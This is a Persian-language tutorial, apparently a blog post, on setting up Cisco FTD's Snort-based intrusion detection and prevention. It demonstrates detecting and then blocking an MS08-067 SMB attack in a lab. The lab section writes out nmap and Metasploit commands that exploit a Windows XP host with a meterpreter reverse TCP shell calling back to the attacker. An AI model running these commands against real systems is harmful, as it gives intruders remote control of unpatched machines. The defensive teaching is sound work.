نحوه جلوگیری از حملات با استفاده از سیسکو FTD
یکی از ویژگیهای جذاب فایروال FTD قابلیت فعالیت آن هم به عنوان سیستم تشخیص نفوذ و هم سیستم جلوگیری از نفوذ میباشد. فایروال FTD در معماری خود از Snort که یک سیستم تشخیص و جلوگیری از نفوذ متن باز میباشد برای بررسی عمیق بستههای شبکه استفاده میکند. Snort میتواند به صورت بلادرنگ هر اقدامی برای نفوذ را شناسایی و از آنها جلوگیری کند. فایروال FTD درست از زمانی که از Snort و سایر تکنولوژهای امنیتی نسل جدید از جمله ماژول Security Intelligence در معماری امنیتی خود استفاده کرد، به طور جدی قدم در حوزه توسعه و ارایه سیستمهای تشخیص و جلوگیری از نفوذ نسل جدید گذاشت.
نحوه انجام تنظیمات سیستم تشخیص و جلوگیری از نفوذ فایروال FTD
برای استقرار سیسکو FTD به عنوان سیستم تشخیص و جلوگیری از نفوذ (NGIPS) نیاز داریم سه نوع سیاست زیر را پیکربندی کنیم.
- Network analysis policy
- Intrusion policy
- Access control policy
مرحله اول: انجام تنظیمات مربوط به Network analysis policy
این سیاستها قوانین مربوط به پیش پردازندهها (Preprocessorها) برای نرمال سازی ترافیک را مشخص میکنند.این پیش پردازندهها برای بهینهسازی سیستم و مشخص کردن عمق بررسی ترافیک استفاده میشوند. یعنی قبل از بررسی عمیق بستهها توسط Snort، این بستهها توسط Preprocessorها Decode شده و بخش header و payload آن را به فرمتی تبدیل میشود که به راحتی توسط قوانین Snort قابل آنالیر باشند. پس نیاز است قبل از ایجاد هرگونه سیاست تشخیص و جلوگیری از نفوذی، این سیاستها را تنظیم کنیم.
برای ایجاد سیاستهای Network analysis policy نیاز است از طریق GUI مربوط به FMC و از قسمت Policies >Access Control > Intrusion تنظیمات را انجام دهیم. به این نکته توجه کنید که سیسکو FTD برای کمک به سرعت بخشیدن به کار پیکربندی و استقرار، به صورت پیشفرض شامل چندین سیاست تحلیل و آنالیز شبکه و سیاست تشخیص و جلوگیری از نفوذ پیشفرض میباشد. یعنی ما میتوانیم از یکی از این سیاستها را به عنوان سیاست امنیتی پیش فرض شبکه خود برای ایجاد سیاستهای سفارشی خود استفاده کنیم.
سیاستهای پیشفرض سیستم تشخیص نفوذ
Balanced Security and Connectivity
تیم سیسکو Talos استفاده از این سیاست را برای داشتن کارایی بالا بدون نقض قوانین شناسایی آسیبپذیریهای حیاتی، توصیه میکند.
Connectivity over Security
همانگونه که از اسم سیاست مشخص است در این سیاست سرعت ارتباطات در الویت قرار دارد. این سیاست تا حد کمی نیز به شناسایی آسیبپذیریهای حساس کمک میکند.
Security over Connectivity
در این سیاست امنیت بر سرعت و پایداری الویت دارد.
Maximum Detection
در این سیاست امنیت نسبت به تداوم کسب و کار از الویت بالایی برخوردار میباشد. به همین دلیل، با توجه به بازرسی عمیقتر بستهها، ممکن است کاربران نهایی تاخیر زیادی را تجربه کنند. علاوه بر این سیسکو FTD حتی ممکن است بعضی از ترافیکهای قانونی را نیز مسدود نماید.
بنابراین باتوجه به توضیحات بالا برای ایجاد تعادل بین امنیت و کارایی در هر سیاست تشخیص نفوذ خود میتوانم از یک سیاست تحلیل و آنالیز متفاوت استفاده کنیم.
مرحله دوم: شناسایی یک نمونه حمله با استفاده از سیسکو FTD
در این سناریو قصد داریم که با استفاده از نرم افزار NMAP و ابزارهای موجود در Kali از آسیبپذیری موجود در SMB به نام ms08_067_netapi استفاده و از سیستم مقصد دسترسی RDP بگیریم. این سناریو شامل دو مرحله میباشد که در مرحله اول با استفاده از رولهای Snort این حمله را شناسایی و در مرحله دوم نیز با تغییر همان رولها از این حمله جلوگیری نماییم.
سناریو مربوط به انجام و شناسایی حمله مربوط به آسیبپذیری ms08_067_netapi
گام اول: نصب سیستمهای مورد و انجام تنظیمات آنها
در سناریو بالا فایروال FTD به صورت Inline و در مد Routed تنظیم شده است. در این حالت FTD بین سیستم کالی به عنوان مهاجم و سیستم XP به عنوان سیستم قربانی قرار میگیرد و میتواند کلیه ترافیکهای عبوری را با استفاده از ماژول IDS خود آنالیز و تحلیل نماید.
گام دوم: انجام تنطیمات مورد نیاز بر روی FTD برای شناسایی حمله
در این مرحله سیاستهای لازم برای عبور ترافیک سیستم مهاجم به شبکه LAN و سیستم قربانی را ایجاد میکنیم. این سناریو را برای نمایش عدم نفوذ پذیری سیسکو FTD، در دو حالت مختلف اجرا میکنیم. در سنایو اول ابتدا اجازه ورود ترافیک غیرمجاز متناسب با آسیب پذیری ویندوز را میدهیم و همزمان با استفاده از ماژول IDS فایروال FTD این حمله را شناسایی میکنیم. در سناریو دوم نیز با استفاده از قابلیت IPS فایروال FTD از این حمله جلوگیری خواهیم کرد.
ایجاد Intrusion policy
برای ایجاد یک سیاست intrusion از منوی plolices گزینه Intrusion را انتخاب و یک سیاست جدید ایجاد میکنیم.
برای سیاست خود یک نام و در صورت نیاز توضیحاتی در بخش Description وارد میکنیم.
در تنظیمات بالا در صورتی که تیک گزینه Drop when Inline را بزنیم، ترافیک ورودی مطابق با سیاست ایجاد شده در زمان ورود Drop خواهند شد. ولی با توجه به اینکه میخواهیم اجازه نفوذ را به مهاجم بدهیم این گزینه را غیرفعال میکنیم. در بخش Base Policy نیز مطابق با توضیحات بالا یکی از گزینهها را براساس الویت سازمان انتخاب میکنیم.
صرف نظر از پروفایلی که برای Base Policy انتخاب میکنیم. در اینجا باید ابتدا قانون مربوط به آسیب پذیری MS08-067 را انتخاب و تنظیم کنیم. این آسیب پذیریها در اصل قبلا توسط تیم Talos شناسایی و دسته بندی شده است. برای اینکار ابتدا گزینه X Rules generate event را انتخاب و از بخش Microsoft Vulenribities، آسیب پذیری MS08-067 را انتخاب میکنیم. با توجه به اینکه نمیخواهیم ترافیک مهاجم مسدود شود. به همین دلیل، Ruleهای موجود در این آسیب پذیری را در حالت Generate Event قرار میدهیم. این آسیب پذیری اجازه میدهد تا در صورت موفق بودن حمله، remote desktop سیستم قربانی را بدست آوریم.
برای ذخیره کردن تنظمات به قسمت policy Information رفته و گزینه Commit را میزنیم.
ایجاد Access Control policy
برای اعمال سیاست تعریف شده بر روی ترافیکهای ورودی و خروجی ابتدا بایستی یک سیاست Access Control Policy تعریف کنیم. برای اینکه ترافیک مهاجم با استفاده از سیاست Introsion policy تعریف شده در مرحله قبل آنالیز شود نیاز است، ابتدا از منوی Polices گزینه Access Control Policy را انتخاب و یک سیاست کنترل دسترسی جدید اضافه و یا در پالیسی موجود یک Rule جدید اضافه میکنیم. ابتدا Action را در حالت Allow قرار میدهیم تا ترافیک Match شده اجازه عبور داشته باشد. با توجه به مسیر ترافیک عبوری مقادیر مربوط به Zoneها، Source و Distination را مشخص میکنیم.
برای اعمال تنظیمات مربوط به رول IDS از تب Inspection و قسمت Intrusion Policy، پالیسی تعریف شده را انتخاب میکنیم. برای لاگ کردن ترافیک Match شده با این سیاست نیز در تب Loginig آن را فعال میکنیم.
تنظیمات را ذخیره کرده و در نهایت آن را بر روی فایروال خود Deploy میکنیم. به این نکته توجه کنید که اعمال شدن تنظیمات بر وری FTD ممکن است کمی زمان بر باشد.
گام سوم: انجام حمله و شناسایی حمله از طریق FTD
برای انجام حمله روی سیستم مهاجم از طریق (Kali Linux) Terminal دستورات زیر را به ترتیب اجرا میکنیم.
iranshell:~$ sudo nmap -n -sV 20.20.20.2
خروجی این دستور پورتهای باز موجود بر روی سیستم قربانی را نمایش میدهد. با توجه به شکل زیر پورت 445 مورد نیاز برای انجام این حمله بر روی سیستم قربانی باز میباشد.
در ادامه برای انجام حمله از ابزار Metasploit و دستورات زیر استفاده میکنیم.
iranshell:~$ sudo msfconole
msf>use exploite/windows/smb/ms08_067_netapi
msf>show option
msf>set RHOST 20.20.20.2
msf>set RPORT 445
msf>set LHOST 192.168.21.130
msf>set LPORT 6666
msf>set payload windows/metetpreter/revers_tcp
msf>show option
با استفاده از دستور Show option از درست بودن تنظیمات خود مطمئن شده و با اجرای دستور زیر حمله را انجام میدهیم.
msf>exploite
از قسمت Analysis > Intrusion > Event در کنسول FMC میتوانیم رویداد ایجاد شده برای این حمله را مشاهده کنیم.
در اینجا کار حمله به اتمام رسیده و ما میتوانیم با اجرای دستوارتی مانند Sysinfo، اطلاعات بیستری از سیستم قربانی را مشاهده کنیم.
گام چهارم: انجام تنظیمات مورد نیاز برای جلوگیری از حمله
با استفاده از پالیسیهای نوشته شده توانستیم یک جمله موفق به سیستم قربانی داشته باشیم. الان نوبت آن است که با تغییر پالیسیها از از این حمله و آسیب پذیری جلوگیری کنیم. بنابراین بخش دوم سناریو را عملی میکنیم.
مجددا به بخش پالیسیهای FTD رفته و تغییرات مورد نیاز برای جلوگیری از ورود ترافیک مخرب به شبکه را انجام میدهیم. برای اینکار ابتدا در قسمت intrusion policy تیک گزینه Drope when inline را زده و در بخش vulnribilityهای شناسایی شده Action را در حالت drop and generate event قرار میدهیم. برای تست عملکرد صحیح سیاست حمله را مجددا تکرار میکنیم.
رویدادهای مربوط به سیاست Access Policy نیز به این ترتیب خواهد بود.
دیدگاهتان را بنویسید